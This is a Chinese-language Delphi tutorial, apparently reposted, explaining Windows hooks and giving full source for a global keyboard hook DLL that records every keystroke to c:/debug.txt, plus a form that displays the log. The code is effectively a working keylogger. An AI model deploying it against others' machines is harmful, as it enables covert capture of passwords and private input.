Delphi中通过钩子技术实现键盘监控

来源:互联网 发布:新网域名怎么备案 编辑:程序博客网 时间:2024/04/29 18:04
钩子概述:
      钩子是Windows中消息处理机制的一个要点,通过安装各种钩子,应用程序能够设置相应的例程来监视系统里的消息传递以及在这些消息到达目标窗口应用程序之间处理它们。

钩子的分类:
    
      钩子可以分为线程钩子和全局钩子,线程专用钩子只是监视指定的线程,要监视系统中的所有线程必须使用全局钩子。对于全局钩子,钩子函数必须要包含在独立的动态链接库文件(DLL)中。本文的例子程序就是这样的监控全局键盘输入的全局钩子。

函数实现:

      首先我们要编写一个DLL文件,在这个DLL文件中使用SetWindowsHookEx来装载钩子,该函数的原型我们可以通过MSDN得到:
Function SetWindowsHookEx(idHook:Integer; lpin:TFNHookProc; hmod:HINST; dwThreadld:DWORD):HHOOK;stdcall;
参数说明:
idHook:  钩子的类型,本例是一个键盘钩子,使用的是WH_KEYBOARD
lpfn     装载的钩子处理函数
hmod    程序实例句柄
dwThreadld   线程ID
安装成功后返回钩子过程的句柄
最后使用UnhookWindowsHookEx卸载已经安装的钩子,该函数的原型如下:
function UnhookWindowsHookEx(hhk:HHOOK):BOOL;stdcall;
参数说明:
Hhk   卸载钩子的句柄
钩子的处理过程被声明为:
TFNHookProc = function (code: Integer; wparam: WPARAM; lparam:LPARAM):LRESULT stdcall;
所以必须按照这个编写一个处理过程,因为我们要做的是键盘钩子,所以wparam 参数存放的是用户按下的按键。

实现过程:
1.       新建一个dll工程,工程命名为KeySpy。
2.       编写工程文件代码:
library Project1;
uses
  windows,
  messages,
  hookproc in 'hookproc.pas';
exports   //输出的函数
setkeyhook,
endkeyhook;
begin
nexthookproc := 0;
procsaveexit := exitproc;
exitproc := @keyhookexit;
end.
3.       新建一个单元,命名为 hookproc
4.       编写hookproc单元文件代码如下:
unit hookproc;
interface
uses
Windows,Messages,SysUtils,Controls,StdCtrls;
var
nexthookproc: hhook;
porcsaveexit: pointer;
function setkeyhook: bool;export;  //加载钩子
function endkeyhook: bool;export;  //卸载钩子
procedure keyhookexit;far;
const
afilename= 'c:/debug.txt';   //将键盘输入动作写入文件中
var
debugfile: textfile;
procsaveexit:pointer;
implementation
function keyboardhookhandler(icode: integer;wparam: wparam; //钩子过程
lparam: lparam):lresult;stdcall;export;
begin
  if icode<0 then
  begin
    result := callnexthookex(nexthookproc,icode,wparam,lparam);
    exit;
  end;
  assignfile(debugfile,afilename);
  try
    append(debugfile);
  except
    ReWrite(debugfile);
  end;
  if(getkeystate(wparam)and $8000)=$8000 then   //获取按键状态
  begin
    if getkeystate(vk_return)<0 then   //是否按下回车
    begin
      writeln(debugfile,'');
    end
    else
      write(debugfile,char(wparam));   //写入文件
  end;
  closefile(debugfile);             //关闭文件
  result := 0;
end;
function Setkeyhook: bool;export;
begin
  if nexthookproc= 0 then
    nexthookproc := SetwindowsHookEx(WH_KEYBOARD,keyboardhookhandler,HInstance,0);  //装载钩子
  result := nexthookproc<>0;
end;
function endkeyhook:bool;export;
begin
  if nexthookproc<>0 then
  begin
    unhookwindowshookex(nexthookproc);   //卸载钩子
  nexthookproc := 0;
  messagebeep(0);
  end;
  result := nexthookproc = 0;
end;
procedure keyhookexit;far;
begin
  if nexthookproc <>0 then endkeyhook;
  exitproc := procsaveexit;end;
end.
5.       使用project/compile keyspy 菜单命令生成dll文件,命名为keyspy.dll。
6.       关闭dll工程,新建一个应用程序,主窗口命名为FrmHook。
7.       向窗体中添加一个Ttimer组件,一个TMemo组件,两个TButton组件
8.       编写程序代码如下:
装载DLL文件:
Function setkeyhook:Boolean;stdcall;external ‘Keyspy.dll’;
Function endkeyhook:Boolean:stdcall;external’Keyspy.dll’;
安装钩子:
procedure TFrmHook.Button1Click(Sender: TObject);
begin
  if setkeyhook then
  begin
    ShowMessage('钩子安装成功!');
    Timer1.Enabled := true;
  end;
end;
卸载钩子:
procedure TFrmHook.Button2Click(Sender: TObject);
begin
  if EndkeyHook then
  begin
    ShowMessage('钩子卸载成功!');
    Timer1.Enabled := false;
  end;
end;
打开监控文件:
procedure TFrmHook.Timer1Timer(Sender: TObject);
begin
  try
    Memo1.Lines.LoadFromFile('c:/debug.txt');
  except
      exit;
    end;
  end;
原创粉丝点击